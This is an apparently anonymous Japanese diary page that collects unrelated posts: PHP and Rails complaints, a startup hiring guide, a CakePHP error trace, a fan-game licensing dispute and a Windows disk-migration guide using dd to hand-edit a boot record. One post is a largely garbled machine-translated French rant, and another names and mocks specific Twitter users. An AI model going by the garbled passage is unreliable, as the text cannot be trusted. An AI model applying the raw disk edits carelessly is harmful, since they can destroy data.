「LIB」を含む日記 RSS

はてなキーワード: LIBとは

2019-09-01

windowsでphp7.2を手動インストールしてるんだけど、JSONだのOpenSSLだのzipだのがlibに入ってない

かにもいろいろライブラリ足らないっぽいんだけど、pharインストールするだけで疲れちゃった

yumとかaptみたいにだーっと並べてインストールする方法ってない?

2019-05-12

論文読んだ

Self-propulsion of inverse Leidenfrost drops on a cryogenic bath

https://www.pnas.org/content/116/4/1174

2D計算のとこまでは良く読めました。

残りは前提知識が欠けてるので、よくわからなかった(じぶんの問題)

ライデンフロスト現象についてはYouTubeを見ればわかる。

https://www.youtube.com/watch?v=mZenCYF1IpM

内容 メモ

液体窒素に常温のethanolかsilicon oilの液滴を垂らすと、液滴に推進力が生じる。

Supplementary materialには、この研究のsample videoが公開されている。

推進力が生じるのは、液滴下部に蒸気が生じ液滴を持ち上げる。そして、蒸気が噴出する流れが生じ、流れに影響を受けた液滴の内部流体が流動することで、移動方向が決定される。

以上のことを2D流体計算では、移動方向が決定される原因を特定しようとしている。

2Dの液滴の流体計算には、oomph-libをつかっている

http://oomph-lib.maths.man.ac.uk/doc/html/index.html

Modelからは気が向いたらよむ。

英語メモ

Chronophotography : overlap image

疑問

2019-03-04

Warning (2): require_once(OpenIdAuth.php) [function.require-once]: failed to open stream: No such file or directory [APP/Controller/Component/DAuthComponent.php, line 7]
Code Context
App::uses('CakeSession', 'Model/Datasource');

require_once "OpenIdAuth.php";
$className = 'DAuthComponent'
$parts = array(
	(int) 0 => 'Controller/Component'
)
$plugin = null
$package = 'Controller/Component'
$file = '/home/user/ssdsw468/dmall/app/Controller/Component/DAuthComponent.php'
require_once - APP/Controller/Component/DAuthComponent.php, line 7
include - APP/Controller/Component/DAuthComponent.php, line 7
App::load() - CORE/Cake/Core/App.php, line 545
spl_autoload_call - [internal], line ??
class_exists - [internal], line ??
ComponentCollection::load() - CORE/Cake/Controller/ComponentCollection.php, line 110
ComponentCollection::init() - CORE/Cake/Controller/ComponentCollection.php, line 53
Controller::constructClasses() - CORE/Cake/Controller/Controller.php, line 643
CakeErrorController::__construct() - CORE/Cake/Controller/CakeErrorController.php, line 47
ExceptionRenderer::_getController() - CORE/Cake/Error/ExceptionRenderer.php, line 154
ExceptionRenderer::__construct() - CORE/Cake/Error/ExceptionRenderer.php, line 92
ErrorHandler::handleException() - CORE/Cake/Error/ErrorHandler.php, line 119
[main] - [internal], line ??

Fatal error: require_once() [function.require]: Failed opening required 'OpenIdAuth.php' (include_path='/home/user/ssdsw468/dmall/lib:.:/usr/share/pear:/usr/share/php') in /home/user/ssdsw468/dmall/app/Controller/Component/DAuthComponent.php on line 7

2019-02-03

表じゃ書けないスタートアップ人材採用の実情

ハローみんな。転職してる?

今日都内スタートアップ採用周りを担当してる俺から

ここ数ヶ月で感じた採用したい人とそうでない人、採用確率を上げるための取り組みなんかを書こうと思う。

ここでの求人対象webエンジニアデザイナー営業カスタマーサクセスだ。

おっと、あくまでこれは自分及び自分会社を通じての所感なので、あまり期待をブチ上げないでくれよな!

使ったことのある媒体

Wantedly採用実績:30人以上)

安い。今や関東会社ならとりあえず使っとけという媒体

というかスタートアップなんていう、候補者を金でぶん殴れない会社ビジョンやパションを訴求していかに魅力を感じてもらうかが勝負

とにもかくにも候補者と話をさせてもらって、社員なり社長なりがどれだけの夢を感じさせるかでしか採用なんてできない。

そういう訴求がほぼ唯一できるのがWantedly。いろいろ問題はあったけど、媒体自体は良いものだよ!

Green採用実績:4〜5人)

サービスUIはファックだけど、利用してる候補者は優秀なケースが多い。

webエンジニアが最も多く、デザイナーCS、その他ポジションの印象。

関東だとGreen経由での採用は90万近くのフィーが発生するが、まぁこれは仕方ない。

■Paiza(採用実績:0人)

おもにwebエンジニア向け媒体

用意されたプログラムの演習を解いてスキルチェックをし、それをベース転職活動ができる(普通求人もある)。

うちでは少しの間しか使っていなかったが、悪くないサービスだった。

だが、Paizaに罪はないがエンジニアだったら多少稚拙でも自分で作ったツールなりサービスポートフォリオにしたほうが良い。

そっちのほうが、その人が伸ばしたい技術的な方向性会社と逸れてないかとか、人となりがわかりやすいんだよね。

単純にコミュニケーションを掘り下げやすい、面談の場でも話してて楽しいんだよね、自分で作ったものを喋ってくれたほうが。

LiB採用実績:2人)

女性向け媒体。うちは営業CSがほしいときに使った。

女性向けという以外は一般的ツールだった。いい人も採用できた。

月額費用10万程度と低コストで悪くない。

転職ドラフトエンジニア/デザイナー

高い。資本に余裕のないスタートアップは使うべきではない。

というわけで検討したことはあるんだけど使ったことはないよ、ごめんね。

これ、webエンジニア自分市場価値を確かめツールな印象があるんですけど、活用してる企業声聞きたいです。

採用手段について

採用率の高い手段・経路

リファラル採用>>>>>ダイレクトスカウト>>>募集記事コーポレートサイト

結論から云うとリファラル採用、つまり人づての紹介が最強だ!!

引く手あまたの候補者なんてそもそも転職活動ツールなんか使わずとも転職できるからな!!

なので、特にwebエンジニアデザイナーなんていう母数が圧倒的に足りてないポジション人間は、イベントでもなんでも早めにつばつけておけよな!

イベントで初対面のスカウト絶対やめろよ!!自分会社へ悪いイメージを持たれるだけだ!!)

ダイレクトスカウトについて

リファラル採用に期待できる企業は少ないだろう。となれば次に頼りたいのは、気になる人へのスカウト採用だ。

ダイレクトスカウト手段としては、WantedlyGreen、(スカウトとは少し違うけど)転職ドラフトなど多くの媒体でできる機能だな。

スカウトはとにかく「返信が来ること」が最重要と考えていい。つまりメッセージ本文が勝負どころなんだが、気をつけるべきことはたった一つだ。

候補者ごとにメッセージ文を変える

これだ!!!

相手名前すらも記入せずmessengerやメール無差別コピペスカウト送るそこのお前!!お前お前!!

ハッキリ言うけど、コピペスカウト送ってるやつは自分会社に泥を塗ってると思えよ!!!!人事辞めろ!!!

相手のことを何も掘り下げず適当に送りやがって!!!そんなことしたら、その候補者は二度とお前の会社に振り返らんから!!!

スカウト送るときは、必ず相手パブリック情報について少しでも触れるんだ。

職務履歴に触れたりTwitterFacebookwebエンジニアデザイナーならgithubポートフォリオをみて、良いところを褒めまくれ。

人間はなー、自分のことに聞かれた相手に対しては興味を持っちゃうんだよ。5分位でいいか相手がどういうことをしてきたのかを調べて褒めてやれ。

それをやるだけでグンと返信率は上がり、お茶くらいはできるはずだ。

なにも一人ひとり全文を変えるんじゃない。自社のことはコピペでいいから、相手について3〜5行程度は触れるんだ。

お前が相手に興味を持たないでどうする。

募集記事について

これ採用活動としては当たり前にやることではあるが、スタートアップだと非常に難しいんだよな。

・自社が目指していること

・なんで採用活動してるか

・どういう人がほしいか

・どういうことを任せたいか

このあたりをある程度丁寧に書けば、そこそこ応募は来るはず。

あとはもう、募集タイトルカバー画像の印象次第なのでそこはPDCA回してください。

正直なところ、転職してる人って会社知名度か、そこで働いてる人、職場環境(補助や制度)、金をメインに見てる節が強い。

そこから先は何となく転職先探してる人が圧倒的。

なので、いい意味相手を騙すしかない。面接担当の力量が求められる。

ただ、さっきも言ったがスタートアップって金で殴れないので、そこをどう折り合いつけるかは会社方針による。

ストックオプションなりなんなりで釣るのがベターだけど、特にwebエンジニアデザイナーなんて3年や5年で転職が珍しくないので、魅力に感じてる人減ってるんじゃね?

フルタイム勤務ではなく外注として開発やデザイン請け負って、契約料なりストックオプションか株配当契約結ぶ人も少なくないと思う。自分観測範囲だけど。

コーポレートサイトについて

自分会社webサイトに募集のページは置こうな。

わざわざコーポレートサイトから応募してくる人は熱量高いケースが多い。

自社の沿革プレスビジョン代表に魅力感じて応募ってパターンが考えられるからね。


俺が大切にしてること

とにかくウチの会社ファンになってもらって終わること。

採用率なんてどんなに頑張っても10〜30%程度での推移なので、手離れしてしまう人のほうが多い。

なので、こっちがコントロールできないこと(採用タイミング希望年収etc)以外で候補者に断られることのないように努める。

今回はだめでも、会社が成長したときに改めて相手から応募が来たり、こっちから声をかけることもあるだろう。

そのときに両者が気持ちよく顔合わせの場を設けられることがベスト

あと、なるべく会社情報は発信する。

月1回プレス打つ、みたいなことをKPIにしてる会社もあるようだけど、無理に情報発信しろって話じゃなくて適切に会社の動きを外に出そう。

社長取締役がせっかく会社のためにあくせく苦労してるのに、それを会社として公に伝えないとなんの意味もない。

株主に向けて〜とか、大人の事情なのはもちろんあるんだが、3ヶ月くらい全く動きのない会社って、魅力度下がるんだよね。

転職活動してる人に伝えたい

これは採用目線で、以下のことをやってくれている人は大体2回以上の面談オファーまで進んだよっていうケースです。

それと逆にこれはやめろってことを書きます

全般

Wantedlyで変なアイコンを使うな(変顔とか)

いや別にいいんだけど、Wantedlyで応募きたのにアイコンが引くやつだとそれだけでウッってなるのでやめろ。アイコンに「鼻血ブー」って書いてあったらどう思う。

TwitterFacebook)でのヘイト発言辞めろ

世の殆ど採用担当者はお前のTwitterを見つけてるぞ。世の不条理を嘆くなとは言わんが、差別的発言センシティブなことつぶやくんだったら鍵垢にするか個人特定できないアカウントしろ。どんなに優れた人間でも、チームや会社ネガティブな影響を与えそうなやつは候補から外す。

・見ているのはスキルだけではない

エンジニアデザイナー特に言えるんだけど、人柄てきにどうかとか、うちのチームに合うかな、会社風土に合うかな、ってのも重要視してます

マナー常識的な側面で引っかかりどころはあってほしくないかな。論理的に話を組み立てられる人は好印象な事が多い。

あと、結論から話せる人。面談ってお互い30分〜1時間しか取れないので、ストーリーで語ってほしくないんですよね。

エンジニアの人は特に俺の目を見てくれ...鼻でも良いが...。

エンジニア

簡単ものでもいいので自分ツールサービス作ろう。githubは無理に草生やさなくていいです(弊社エンジニア談)

既存サービスコピーでも良いんですよ。っていうか、経験年数によるけど自分ニコニコ(っぽい)サービスをそれとなく立ち上げるだけで、多分オファーますよ。

職域以外のもの(つまり趣味で作ったもの)でもいいよ。ウチじゃないけど、インフラエンジニアUnityグリグリ動く簡易なアプリ作ったの見せたらデカ会社採用通ったケースとかある。

デザイナー

ポートフォリオ作ろう。webとかじゃなくても良いんだけど、何作ってますとか、何に関わりましたとか。インスタにまとめるとかでもOK

とにかく君の作ったものが見たい。話はそれからなんだ。自信がなくったって良い。

最近感動したのは、よくあるUIトレースなんだけどそれをAdobe XDで動く形にしてパブリックにしてた若い子がいた。そういうのでいいんだよ。

いから作って公開しろ。語るのはそれからだ。

営業

難しい問題ではあるんだけど、何がしたいか、何ができるかを棚卸しして欲しい。

「モノを売る」ってすごい特別スキルなんだよね。時には相手を、時には自分を騙す商売でもある。

過去の実績はもちろん大事だけど、少なくとも自分たちは「正直な話を聞きたい」、って感じかな。

たまにだけど、営業トーク面談の場で炸裂してる人いるんだけど、あれあんま良くないと思う。

一緒のチームになるであろう人なので、まずは俺たちに心開いてほしいんだよね。

カスタマーサクセス

君たちは偉い!!!

特別視するわけではないが、CS業はあらゆることの受け皿になりがちでとても大変だと思う。

十分な努力をしているあなた達がもし転職活動を行っているならば、業務フローに口を出せる人間であると感じさせてほしいかな。

CSオペレーティングってイメージが強いけど、一番顧客のことを知っているのは営業CSなんだよね。

ってことは、顧客意見を汲み取って業務フロー改善を形にできる存在に一番近いんだわ。

君たちの言葉ひとつ会社イメージはもちろん、商品の売り方が変わるかもしれないので、自信を持って業務改善点に意見を言ってほしい。

それができる人だな〜って感じたCSは得てして優秀な人だった。(まぁ安月給な職場だと、そんなことしたいと思いたくはないだろうけど...)

あとで追記あったら書きます

なんかみんなも採用活動で工夫してることあったら教えてくれりゃ。

2017-12-26

昭恵instagram上半身裸の男性岩田和親議員ではない

伊万里カフェLIB coffeeのオーナー森永一紀氏

https://www.facebook.com/libcoffee513/photos/pcb.349775828728648/349775528728678/?type=3&theater

既に写真ごと削除されているがInstagram写真自分である旨をコメントしており右眉の上のイボも一致。

日刊ゲンダイ取材も受けている

https://www.nikkan-gendai.com/articles/view/news/220260/1


岩田議員本人が否定しており、写真をみても明らかに違う特徴があったにもかかわらず真偽不明の決めつけを鵜呑みにした恥ずかしいIDは以下の通り

gnta 写ってる(ように見える)岩田和親衆院議員自分じゃないと否定してるけど「本人にしか見えない」って指摘されてる。なんで否定したんだろ https://twitter.com/Kazuchika_Iwata/status/944937034837196802

for2015july このあと岩田和親が#metooツィートします(期待

nihonjindesu80 本当に酷い。この人ファーストレディからね?森友の一件全く懲りて無いんだろうな。これでまた旦那が尻拭いするんだよ。写真自民党議員も何やってんの?いい加減安倍総理の足引っ張るのはやめて頂けませんかね?

silentliberater 私人って議員の裸体写真(いたずら書きアリ)を撮ってアップできるんですね。

death6coin セクシャルパワハラされた議員が#MeTooしてほしいw

oka_mailer 議員が「責任」を取って昭恵夫人がお咎めなし、みたいな展開になっても驚かない。

namatama21 面白くもないし、パワハラだろうし、昭恵氏は政権に打撃を与えようとしているとしか思えない。 前々から比例復活議員は党内でも立場よくならないんじゃないかと思っていだが、やはりいい扱いは受けないのか。

napsucks 実際は地方議員気合応援意味張り手したあとなんだろうけど、乱痴気騒ぎのキスマークと誤解されかねない写真でもあるな。



gnta 写ってる(ように見える)岩田和親衆院議員自分じゃないと否定してるけど「本人にしか見えない」って指摘されてる。なんで否定したんだろ https://twitter.com/Kazuchika_Iwata/status/944937034837196802

一番ひどいのはこいつかな?

どこの馬の骨かわからない奴の「本人にしか見えない」って指摘に何の意味があるとおもったんだろうこの馬鹿

こんなコメントスターがいっぱいついてるのもやばい

2017-10-25

ツイッターで盛り上がっているおひつの件

だそうで。

なんだって


今年の結婚祝いで旅館へ泊まった時、

私「いやっほうー!ごちそうだー!」

嫁「飲むぞー!食うぞー!」

私・嫁「ヒャッハー!」

って感じでおひつ場所なんか気にしなかった。

からといって、ふーんでやり過ごしたら、無意識的に差別を行う場合があるから意識しようぜ!

ってことなのかな。

2017-10-14

Je travaille en tant qu'ingénieur dans le domaine informatique, mais j'ai réussi à le conserver pendant 2 ans.

Il n'est pas une telle chose comme toujours la confiance en soi, de se sentir même que ne naît pas la confiance en soi de la vie Nante, l'excellence de mes collègues.

Si vous ne le faites pas pour désespérée en réponse à l'désigné pour assignation, nous travaillons tous les jours avec le sentiment de bien pas étrange.

Pourtant, au Japon, je pense que le Japon a beaucoup plus de compétences que les CTO dans ce domaine.

À l'avenir, mais je pense que si vous pouvez contribuer à la société du Japon au Japon, le Japon visible de l'extérieur est dangereux.

Ce qui est mauvais, premier aspect de la politique.

Politique

Abe de Toka vers le bas, toujours contre qu'il ya des gens stupides que la foi aveugle du Parti libéral-démocrate, que la démocratie est pas pleinement fonctionnel.

Cette autre partie n'est pas non plus bonne. Parti de l'espoir? Quelle est cette dame comme ce disciple de Ru Ooshiba? Rou Koike?

Plus vous ne l'avez pas, le stupide sera couvert de katakana et de psychologie. Vous idiots, vous les gars dites ça. J'aime katakana de toute façon, j'aime la psychologie, 100% je ne dis pas de grandes choses. Qu'est-ce que les dépenses de Y? Neparez pas ce que vous appelez normalement katakana.

tout ce que je pense d'abord parce qu'ils ont terminé le système politique, la politique n'a reçu futile national tout à fait à court terme, surtout qu'il est la cause de l'échec est de ne pas recevoir les personnes âgées. Nous n'allons donc pas attaquer uniquement le PLD.

Il est trop fatal que la politique ne soit pas rationnelle et qu'il soit impossible d'inclure la politique qui devrait être faite. Parce qu'il se termine par poppiness si je ne peux pas voter.

Malheureusement, la tendance à changer le système politique ne se produira probablement pas si elle échoue.

Les quelques dernières décennies, je pense que les hommes politiques dans les politiques préférentielles âgées + baisse du taux de natalité ignoré, a été jusqu'à ce qu'une distorsion accélère du taux de natalité en déclin et vieillissement de la population.

Vieillissement de la population du Japon est dans une certaine mesure, il y a aussi une partie qui est présent naturellement dans le monde du faible taux de natalité et vieillissement de la population, je ne « s ce qui se passe dans les phénomènes naturels.

Il n'y a pas d'avenir qui mettrait toute l'énergie nécessaire pour rendre la taxe au vieil homme en franchise d'impôt sur les soins médicaux. Toka grande quantité d'impôt sera utilisé pour le vote des personnes âgées de commodité des politiciens, mais il était déjà trop tard quand je devais me parler Let « s quit bientôt il y a 10 ans, sans correction de cours de Murda, et jusqu'à présent Je vais politiser sur la même route.

Un politicien âgé ne pense pas à une politique de court-circuit, l'avenir. Les citoyens se complaisent dans la politique économique immédiate.

L'herbe pousse maintenant, alors que l'effondrement de la nation est devenu une réalité.

Je Coulez le navire japonais dans les 20 ans après Lorsque vous atteignez cet état déclin du taux de natalité et vieillissement de la population est maintenant de rythme. Il y a deux ans, je pensais avoir 30 ans.

J'ai complètement abandonla politique japonaise. Le divertissement défait n'est pas drôle. Je dis que c'est japonais, mais je ne l'aime pas. Abandonner signifie accepter les échecs.

Ensuite, l'aspect de l'entreprise.

Affaires

Avez-vous eu une entreprise ailleurs que d'enchérir? Je n'ai pas de morceaux de créativité. Il n'y a plus d'éthique.

Qu'est-ce que c'est, Mercari ou DeNA ou une entreprise morale ou quelque chose est un péché social. Je viens de confondre la société, n'est-ce pas? Le pays et le pays ont appris à ne pas connaître l'éthique.

L'éthique des Japonais est inférieure à celle des Japonais.

Mais bon déraillé, passe accident devant les yeux, les caractéristiques nationales prennent des photos fool smartphone ne jamais minorité est dangereux.

Même s'il n'y a de service que là où l'argent est impliqué, ne dites pas l'hospitalité comme si c'était le caractère national des Japonais.

Ce n'est pas une minorité d'être une société complètement individualiste et les gens sont troublés et aident les gens.

A cette époque, de nouvelles activités créatives naissent de l'un à l'autre. C'est à un rythme impensable au Japon. Bien sûr, mais il y a beaucoup de savoir si des affaires suspectes devient l'argent, du tout que la société japonaise sans cerveau ne pouvoir copier une entreprise meilleur tiers.

Donc, presque aucune entreprise ne veut travailler au Japon.

Et la chute de l'entreprise. Presque pas de compétitivité internationale. Même les grandes entreprises seront écrasées.

Par cette population vieillissante est prêt, il ne peut pas contribuer encore à l'ancienne demande intérieure de l » homme ne peut pas voir l'avenir Une fois que vous devenez plein de personnes âgées.

Il n'y a pas de personnes dont le taux de natalité est en déclin. Il semble que les jeunes soutiennent le PLD en pensant positivement qu'il s'agit d'un marché de vente complet.

Il n'y a qu'une seule personne qui ne soit pas simplement une politique d'une population vieillissante déclinant la natalité. Ton avenir est sombre.

Étais-je si stupide que je pensais retourner au Japon? Quoi? Il est certain qu'au moins le champ de vision et l'expérience ont été beaucoup plus bas qu'aujourd'hui.

J'ai vu il y a deux ans leur propre maintenant, je ne sens rien, mais une autre miséricorde.

En effet, il est visible qu'il va s'effondrer dans quelques autres décennies En effet, il ne sera pas possible de revenir au Japon.

Pourquoi dois-je monter à bord d'un navire en train de couler? Mes parents peine de génération Nigekiri, devrions-nous défendre votre propre.

A l'origine, j'aicidé de ne pas faire des enfants de l'avenir incertain de la société, pas moi-même. Je pense que ce choix était juste.

Maintenant, les politiciens, si vous les gars ne sont pas stupides, il va avoir une activité de faillite intentionnelle.

Il est bon que vous soyez seulement intéressé à être inspecté. Je ne sais plus.

À tout le moins, essayez de faire en sorte que les citoyens japonais travaillent dans le monde. Si l'obstacle de visa de travail tombe en panne, alors vous serez en mesure de le faire si vous avez des compétences en anglais.

J'ai eu beaucoup de difficultés. Bien qu'il soit inférieur à l'indigène, je travaille sans problèmes.

Oh, je voulais retourner au Japon. . .

2016-12-21

しょぼんのアクションスマホアプリ化されている件について調べた

2010年ごろにニコニコ動画上で有名になったしょぼんのアクションってゲームがあるんだけど今どうなってるのか調べてみた。

そうしたらとんでもないことになっていた。

結論から言えばあからさまに怪しいデベロッパー二次配布のソースコードを使って

原作者許可無く勝手スマホゲーにしていた。

itunes.apple.com/jp/app/shobonnoakushon-orijinaru/id894330337?mt=8

サポートURL (工事中扱い)

www.gatobros.com/

play.google.com/store/apps/details?id=com.gorkaramirez.syobonactionhalloween

サポートURL (工事中扱い)

www.pipletas.com/syobon/syobon.html

デベロッパーは『Gorka Ramirez Olabarrieta』というらしい。 ドメインWhoisガード適応済みで情報漁れず。

で、サポートURLのページをよく見るとOpenSource扱いになっていた

Original Source. Ported by @jezng using Emscripten.

sourceforge.net/projects/opensyobon/

Mathew Velasquezと呼ばれる人物が作者に許可無くSourceForgeアップロードしたようだ。

sourceforge.net/u/twoscomplement/profile/

で、SourceForgeプロジェクト開設日が下記のとおりになっているが

Registered 2010-05-16

原作者サイトにはもっと過去の時点でゲームが公開されている。下記のInternet Archiveのもの

wayback.archive.org/web/20091223043445/http://www.geocities.jp/z_gundam_tanosii/home/Main.html

で、問題はここから

このSourceForgeプロジェクト、再配布人が下記のライセンスで公開している。

License GNU General Public License version 2.0 (GPLv2)

www.gnu.org/licenses/old-licenses/gpl-2.0-faq.ja.html#DoesTheGPLAllowMoney によると

はいGPLは、誰もが販売することを許可しています。複製を販売する権利自由ソフトウェア定義の一部です。

としている。

SourceForgeに公開されているプロジェクトGPLv2で公開されているので、どうやらスマホアプリとして登場したようだ。

が、まずこれ色々と問題がある

プロジェクトで配布されているソースコード内にはDXライブラリがそのまま含まれているが、規約を守っていない可能性が高い。

dxlib.o.oo7.jp/dxlicense.html より引用する。

<<DXライブラリライブラリファイルソースコードの再配布について>>

 DXライブラリライブラリファイル( 拡張子lib や a のファイル )や、プログラムソースファイル( DxGraphics.cpp や DxLib.h などのファイル )を配布する場合は一部、全部問わず

以下の著作権表記を配布物とともに提供される文書、または他の資料に含めて下さい。

DX Library Copyright (C) 2001-2016 Takumi Yamada.

クレジット表示は探した限り見つからなかった。検証ファイル:SyobonAction_v0.9_src.tar.gz

なお、作者のサイトに商用利用に関する規約が無いとはいえ、さすがに普通に連絡するべきではないだろうか?

(配布ソースコード内には改変可という言葉はあるが商用利用可とは書いていない。)

なお、実行ファイル形式で配布されている物の英語のReadMeには原作者クレジットなし。

どうやらゲームファイルソースコード転載されたようだが、少々違和感がある。

Internet Archive内にあるソースコードSourceForge内のソースコードが違う。

tiku氏のそのまま配布するなを遵守したのだろうか? (配布されているソースコードには日本語が混じっているので非常に怪しいけど)

原作者の動向も分からないし、真実は分からない。

ただ、言えることはしょぼんのアクションスマホアプリとして公開されたのはGPLv2辺りのライセンスになっていたからだということ。

ここまで書いておいてなんなんだけど飽きた。

2016-11-29

第3の抜きサイトを教えてくれ

毎晩、特定のえろサイトを周回していいのを見つけたら抜いて寝るのが習慣になってるんだが、いつも同じのを見てると飽きるので、このサイクルにもう1つなにかのサイトを加えたい。

なにかいいのないかな。ちな今のサイクルはこれ

1. exh**t*i

2. にじえ

以上。気分によってp*rn*ub、sa**akuc*m**exを見ているが、前者は毛色が違うから毎日みたくなるものではない。

後者は主に検索の面倒さからまり活用してない。

d*opb**ks広告邪魔すぎるからやめた。

二*元*ケットをよく第3のサイトとして使ってたが同じ理由でやめた。

l*lib*o*uは閉鎖前は第3のサイトだったが、復活後はしょうもないサイトに成り代わったのでやめた。日本語サイトにはこだわっていない。むしろ日本語サイト広告ばっかりだし、2chスレタイ広告見出しばっかりでむしろお断り。何かいサイトいか

2015-09-20

Windowsシステムディスク入れ替えで躓いた件の備忘録

ちょっとした事情からシステムディスク移設をしたところかなり躓いたので、備忘録的にメモ

時代に逆行して個人的な書き物をする場所を一切持ってないのでお借りします。

以下、Linuxなりの最低限の知識があり、バイトオーダーもわかり、細かいところは勝手に補間できる人向け。

目的

Windows 7システムディスクの入れ替え。

オフセット32256バイトを1048576バイトに調整する。

得てして非AFTからAFTという状況と思われる。

コピー元が壊れかけの時はやらないほうが吉。

手順には省略するがたぶんやらないといけないこと


手順

  1. c:\boot\BCDバックアップ(BCD.org等)
  2. clonezillaとLinux Live USB CreatorをDL
  3. clonezillaのUSB起動ディスク作成(「作成したファイルを隠す」、「LinuxLiveWindows上で起動可能にする」のチェックは外す)
  4. HDD接続し、NTFSフォーマット
  5. msinfo32.exeを実行し、オフセットが1048576になっていることを確認
  6. clonezillaのローカルパーティション→ローカルパーティションでクローニング、オプションは全部デフォルト
  7. HDDのみ接続し(念のためclonezillaのUSBも外す)、Windowsインストールディスクを起動
  8. 最初の画面で「次へ」を選択したらShift+F10でコマンドプロンプトを起動
  9. diskpartを起動、list disk → select disk n → list part → select part n → active し、exit
  10. bootrec /fixboot, bootrec /fixmbrを実行
  11. bcdedit /enum allを実行、随所でdeviceがunknownになっているはず
  12. bcdedit /set {bootmgr} device "partition=C:"等をunknownになっているぶんだけ行う。osdeviceやfiledeviceも。
  13. ほかはツールになにも弄られないようにしてシャットダウン
  14. この状態で起動しようと思ってもカーソル点滅から進まない。ここから先の情報(というか23.)は少なくとも日本語では見当たらなかった。
  15. clonezillaを再度起動
  16. lsblkで/lib/live/mount/mediumとなっているデバイスを調べる(仮に/dev/sdb1。ついでに新HDDシステムパーティションは/dev/sda1と仮定。)
  17. sudo mount -o remount,rw /dev/sdb1を実行(自信があれば/tmpとか使ってもいい。オススメしないけど。)
  18. /lib/live/mount/mediumに移動
  19. sudo dd if=/dev/sda1 of=./pbr.bin bs=512 count=1を実行(/dev/sdaだとMBRになってしまうので注意)
  20. pbr.binのバックアップを取る
  21. sudo vi -b pbr.binを実行
  22. :%!xxd でバイナリ編集できるようにする
  23. 1Cが"3F00"になっているはず。これがhidden sectorsすなわちオフセット。ここを"0008"に書き換える
  24. :%!xxd -rで元にもどし、:wqで保存終了
  25. sudo dd if=./pbr.bin of=/dev/sda1 bs=512 count=1を実行し書き戻し(/dev/sdaだと略)
  26. 祝起動

23.もそうだけど12.もどこにもなかった。(英語は面倒でしっかり読んでない)

2点でめっちゃ躓いたってお話

2015-08-08

新しい画像掲示板ログ庫作った話

きっか

画像掲示板スレッドを見逃してしま

とあるログ庫を漁ろうとするが…

1分で断念してしまった

似たような体験してる人もいるんだろうなと思い

シンプルで使い勝手がいいログ庫を書くことにした

そんなわけでログ庫作った

FTBucket開発サイト

http://dev.ftbucket.info/scrapshot/

「気になったスレッドを"ストック"するとサーバー側で自動追跡

あとでログを読んだりまるごとzipで落とせる」

といったread it laterのような使い方ができる

見た目も元サイトと合わせてシンプル構成にした

zip生成を最適化

zipをつくる機能は可能な限りのチューニングを行って

最終的には高速で軽量なzip生成エンジンを作ることができた

phpmyadminzip.lib.phpを改造

- ファイル個別圧縮/非圧縮を切り替え(CPU節約)

- インクリメンタル生成(メモリ節約)

- オンザフライ生成(ディスク領域節約・即時ダウンロード対応)

縮んだzipが生成待ち時間なしで落ちてくるのは結構おもしろ

他のアプリバックアップなんかにも流用している

他にもいろいろ作りこむ

さらUI/UX改善のためにも内部の作り込みをがんばった

詳細の説明はめんどくさいので箇条書きで失礼する

- mht生成対応

- 自分登録したスレッドの絞り込み検索

- 配信型のP2P対応

- 検索タグの付加

- 機械学習タグ予測

- 組み込み全文検索

- 同一画像の検知と重複排除検索

- 100万ファイル以上に対応する類似画像検索

- 全件一覧が早いNonDBデータストア

etc ...

どれも実装には苦労したけど便利な機能

ログ庫でハゲそうになった経験のある人はぜひ試してみてほしい

2014-10-11

アプリ屋がRailsを初めて触ってみて感じた事

Qiitaに書こうかと思ったけど、言いたいことも言えない、こんな世の中じゃ。

発想が古臭い

モバイルファーストAPIファースト文脈ハイブリッドWebをやってきた目からすると、サーバーサイドでHTMLを生成してページ遷移させるなどという90年代調のクラシカルな発想を基本に据えるフレームワークはとても斬新に思えました。HTMLゴリゴリ生成するなんてよほど特殊最適化をしようとするのでなければそもそも発想として出てこないです。それでいてDSLメタプログラミング等のテクニカル技法宝石のように鏤められている様はまるでエジプト時代骨董品を見るかのような趣がありました。turbolinkなどは、かつて表計算ソフトに出しゃばっていたイルカを思い起こさせる味があります。かつて慣れ親しんできたSPAが星のように遠い存在になりました。

モデルMVC

Web界隈の人々がモデルだとかアクティブレコードだとか"MVC"だとかを非常に具象的に話す様を見るにつけ、お前らどんだけPofEAA読み込んでるんだよと畏怖していた時期が僕にもありましたが、どうやら彼等はRailsクラスディレクトリという特定実装について話していただけだったようです。Modelという概念もこれだけ肥大化してしまったら、オリジナル概念で彼等と会話するのは諦めるべきかなと思いましたし、Railsの"MVC"をアンクォートして語るのはもはや害悪であるとすら感じました。

レールから外れる辛さ

Rails界隈の人がよく「Rails流儀」や「正しい"MVC"」というのを口角泡を飛ばし議論しているのを目にするのですが、おそらく外に広がる不条理で火傷を負って快適なRails世界に引き篭もった結果としての一種のストックホルム症候群なのだなと思いました。いまやAjaxとかWebsocketとかWebRTCとかを組み込もうとする至極真っ当な方法論がとてつもない高難度に見えてきます。設定よりも規約、というのも一つの方向性だと思いますが、ドメインサービスレイヤ名前空間を構築しようとしたりコードジェネレーションしようとしたりしただけで地獄のようなCircular Dependency罰を受けてしまったので、自分がとても間違った事をしているような気がしてしまいました。とはいえConcernsに特別名前役割を与えられても正直しんどいので、皆が皆libゴミを放り込んでいく様子にも納得がいきました。

レイヤ?何それおいしいの

RailsAPIサーバーとして使おうとするとまずビューが無くなってMとCだけになりますが、いわゆる"MVC"の文脈で育ったエンジニアがなぜ息を吸うようにFat ControllerやFat Modelを作ってしまうのかという事が良く分かりました。多くのRailsリファクタ手法と称されているものクラスを書くファイルを分割する事以上のものでは無いように思えたので、Rails使いを大きめなAPIサーバー案件に回すときセットポジションDDD青本を投げつける必要が有るなと思いました。

TDDやれんのか

ビューとコントローラを結合させた場合結合テストはCapybaraとかのBDDマークアップサイドとの干渉を恐れながら強い気持ちでメンテしていくしか無いのかなと思いました。おそらく脳に電極を埋め込んでいるか緑色のランプを見るだけでハイになれる特殊な人にしか生き抜けない闇が垣間見えました。コントローラを薄くしてサービスレイヤを挟めばその辺りもうまくいけそうな気がしましたが、ビューからヘルパーモデルがいくらでも透けて見えてしまうという状況では裏側の完全性に自信を持つ事は難しそうでした。

分業とか出来るんだろうか

ビューがRubyを叩いて永続化レイヤと直接コミュニケーション出来るというのはとても生産性が高いのだろうとは思いましたが、こうして出来たパーシャルやら何やらをデザイナーとどうやって共有するかを考えると頭痛が痛くなりました。おそらく適当に切り出して綺麗な空間をassets以下に構築した上でpublicにRPCのような窓口を備えたゴミを量産していくのかなと思いましたが、もっと綺麗な方法はあるのかもしれません。でもきっとRails案件に関われるデザイナーRubyバリバリ書けるに違いないはずなので、ここが問題になる事は無いのだろうなと思いました。

